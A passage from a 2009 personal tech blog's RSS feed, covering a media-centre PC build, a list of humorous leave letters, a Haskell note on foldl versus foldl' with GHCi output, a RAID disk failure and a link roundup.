		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Sapphire HD 3450 512MB DDR2
	&lt;/span&gt;
&lt;/a&gt; VGA DVI TV Out PCI-E Graphics Card. The mobo on board graphics card is quiet powerful (for MCEs) but it only has one VGA out and I needed two – one for the TV and one of the touch screen on that case. Hence why i got this fanless graphics card.&lt;/li&gt;
&lt;li&gt;TV Tuner: &lt;a
	
		href = &#34;http://www.amazon.co.uk/exec/obidos/ASIN/B000EMTJ2O&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hauppauge WinTV HVR1300
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I got Win 7 RC1 running on it without any issues and its lovely! I have pictures I took along the way and will be uploading them here sometime soon.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5290&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Follow me on Twitter</title>
      <link>/post/2009/04/follow-me-on-twitter/</link>
      <pubDate>Sat, 25 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/follow-me-on-twitter/</guid>
      <description>&lt;p&gt;Interestingly I am &lt;a
	
		href = &#34;http://twitter.com/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more active on Twitter
	&lt;/span&gt;
&lt;/a&gt; over the last 2-3 weeks than here; I guess that might be because it is easier to dump a quick thought – which I suppose one can do here but kind of “seems out of place” (yeah, weird!).&lt;/p&gt;
&lt;p&gt;Another contributing factor is I have been extremely busy – both on work front and also on the personal front (between relatives visiting and my assignments does not leave me any time).&lt;/p&gt;
&lt;p&gt;Also, I finally got around to building a new MCE – so whatever little free time I had went in that – life was very interesting the few days we were “in between” MCE’s the &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2005/09/11/1672.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		old one was disconnected
	&lt;/span&gt;
&lt;/a&gt; and the new one was not up and running yet (that’s a story for another time).&lt;/p&gt;
&lt;p&gt;Lastly, the fact I want to &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2009/03/03/what-blogging-engine-other-than-cs.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		move away from CS 2007
	&lt;/span&gt;
&lt;/a&gt; to Wordpress has also somewhat been at the back of my mind; the more I post, the more data I will need to move and the more headache.&lt;/p&gt;
&lt;p&gt;I should get more active here soon (once I get some time), until then &lt;a
	
		href = &#34;http://twitter.com/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		follow the tweets
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5287&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Letters</title>
      <link>/post/2009/04/letters/</link>
      <pubDate>Tue, 21 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/letters/</guid>
      <description>&lt;p&gt;This is a collection of leave letters and applications written by people in various places of India … of course English is not their strong point.&lt;/p&gt;
&lt;p&gt;1. Infosys, Bangalore : An employee applied for leave as follows:&lt;/p&gt;
&lt;p&gt;Since I have to go to my village to sell my land along with my wife, please sanction me one-week leave.&lt;/p&gt;
&lt;p&gt;2. This is from Oracle Bangalore:&lt;/p&gt;
&lt;p&gt;From an employee  who was performing the &amp;ldquo;&lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Mundan_ceremony&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		mundan
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; ceremony of his 10 year old son: &amp;ldquo;as I want to shave my son&amp;rsquo;s head, please leave me for two days&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;3. Another gem from &lt;a
	
		href = &#34;http://www.cdac.in/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CDAC
	&lt;/span&gt;
&lt;/a&gt;. Leave-letter from an employee who was performing his daughter&amp;rsquo;s wedding:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;as I am marrying my daughter, please grant a week&amp;rsquo;s leave..&amp;rdquo;&lt;/p&gt;
&lt;p&gt;4. From &lt;a
	
		href = &#34;http://www.hal-india.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HAL
	&lt;/span&gt;
&lt;/a&gt; Administration dept:&lt;br&gt;
&amp;ldquo;As my mother-in-law has expired and I am only one responsible for it, please grant me 10 days leave.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;5. Another employee applied for half day leave as follows:&lt;br&gt;
&amp;ldquo;Since I&amp;rsquo;ve to go to the cremation ground at 10 o-clock and I may not return, please grant me half day casual leave&amp;rdquo;&lt;/p&gt;
&lt;p&gt;6. An incident of a leave letter&lt;/p&gt;
&lt;p&gt;&amp;ldquo;I am suffering from fever, please declare one day holiday.&amp;rdquo;  &lt;/p&gt;
&lt;p&gt;7. A leave letter to the headmaster:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;As I am studying in this school I am suffering from headache. I request you to leave me today&amp;rdquo;&lt;/p&gt;
&lt;p&gt;8. Another leave letter written to the headmaster:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;As my headache is paining, please grant me leave for the day.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;9. Covering note:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;I am enclosed herewith&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;10. Another one:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Dear Sir: with reference to the above, please refer to my below&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;11. Actual letter written for application of leave:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;My wife is suffering from sickness and as I am her only husband at home I may be granted leave&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;12. Letter writing:&lt;br&gt;
&amp;ldquo;I am in well here and hope you are also in the same well.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;13. A candidate&amp;rsquo;s job application:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;This has reference to your advertisement calling for a &amp;rsquo; Typist and an Accountant - Male or Female&amp;rsquo;&amp;hellip;As I am both(!! )for the past several years and I can handle both with good experience, I am applying  for the post.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5286&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>foldl&#39; better than foldl</title>
      <link>/post/2009/04/foldl-better-than-foldl/</link>
      <pubDate>Sat, 04 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/foldl-better-than-foldl/</guid>
      <description>&lt;p&gt;In Haskell the foldl&amp;rsquo; function defined in the module Data.List is better than foldl because that does not use a &lt;a
	
		href = &#34;http://www.haskell.org/haskellwiki/Thunk&#34;
	

	
		title = &#34;thunk&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		thunk
	&lt;/span&gt;
&lt;/a&gt;. A thunked expression requires an internal stack. As an expression can grow infinitely large, the runtime imposes a limit on the size of this stack. As the simple example below shows that given a large enough input the stack will overflow.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-haskell&#34; data-lang=&#34;haskell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldr (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;5050&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldl (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;5050&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldl (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;500500&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldl (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10000&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50005000&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldl (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100000&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;5000050000&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;Prelude&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; foldl (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;) &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1000000&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&lt;/span&gt;]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;\*\*\*&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;Exception:&lt;/span&gt; stack overflow&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;On the other hand, foldl&amp;rsquo; while similar to foldl does not build up on thunks and in real world programs is probably more useful.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Prelude&amp;gt; :module +Data.List  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Prelude Data.List&amp;gt; foldl&amp;#39; (+) 0 \[1..1000000\]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;500000500000  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Prelude Data.List&amp;gt; foldl&amp;#39; (+) 0 \[1..1000000\]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;500000500000  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Prelude Data.List&amp;gt; foldl&amp;#39; (+) 0 \[1..10000000\]  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;50000005000000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>RAID Blues</title>
      <link>/post/2009/04/raid-blues/</link>
      <pubDate>Sat, 04 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/raid-blues/</guid>
      <description>&lt;p&gt;On my machine running all the VM’s at home – one disk has failed. I have not replaced it, instead marked it as OK and am rebuilding the volume now. Second time this has happened – if it happens once more then maybe it is time to actually replace the physical disc.&lt;/p&gt;
&lt;p&gt;*Sigh* I hate disc failures.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Red Rum</title>
      <link>/post/2009/04/red-rum/</link>
      <pubDate>Sat, 04 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/red-rum/</guid>
      <description>&lt;p&gt;This is pretty cool – saw it on BBC’s One Show, &lt;a
	
		href = &#34;http://www.youtube.com/watch?v=G8uihLGmoe8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		a dog saying Red Rum
	&lt;/span&gt;
&lt;/a&gt;. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5283&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #18</title>
      <link>/post/2009/04/interesting-find-18/</link>
      <pubDate>Wed, 01 Apr 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/04/interesting-find-18/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.infoworld.com/article/08/07/21/30TC-cloud-reviews_1.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cloud vs. Cloud
	&lt;/span&gt;
&lt;/a&gt; – guided tour of Amazon, AppNexus, GoGrid and Google. Azure is missing but given its late-alpha/early-beta state not surprising.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.marvell.com/products/embedded_processors/developer/kirkwood/sheevaplug.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SheevaPlug Development Kit
	&lt;/span&gt;
&lt;/a&gt; – this is a development platform targeted for use as a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Plug_computer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		plug computer
	&lt;/span&gt;
&lt;/a&gt;, and designed to run network-based software services and has a embedded &lt;a
	
		href = &#34;http://www.marvell.com/featured/plugcomputing.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Marvel Sheeva CPU core
	&lt;/span&gt;
&lt;/a&gt;; quite interesting.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://news.cnet.com/2300-1012_3-6247288-1.html?tag=mncol&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Office 14
	&lt;/span&gt;
&lt;/a&gt; – next version of Office will have “online versions”.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.youtube.com/watch?gl=GB&amp;amp;hl=en-GB&amp;amp;v=Kp_T7NqGQLk&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Loopa Bowl
	&lt;/span&gt;
&lt;/a&gt; – the link has all the details; &lt;a
	
		href = &#34;http://www.bedbathandbeyond.com/Product.asp?order_num=-1&amp;amp;SKU=14824170&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		buy it here
	&lt;/span&gt;
&lt;/a&gt; (in the US).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.richardbanks.com/trends/?p=10663&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		KidsMenu
	&lt;/span&gt;
&lt;/a&gt; – an OS for Kids - seems to be a shell running on Windows.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://research.microsoft.com/en-us/projects/boogie/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Boogie
	&lt;/span&gt;
&lt;/a&gt; – an intermediate verification language.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.coolsmartphone.com/news4624.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		New windows mobile ads
	&lt;/span&gt;
&lt;/a&gt; – I do feel like throwing the phone sometimes.&lt;/li&gt;
&lt;li&gt;MachineIP.com – name says it all – pretty cool. Of course nothing new but makes it easy in situations where you don’t have access to the tools or the non-techy friends/families you have out there.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/web/gallery/Categories.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
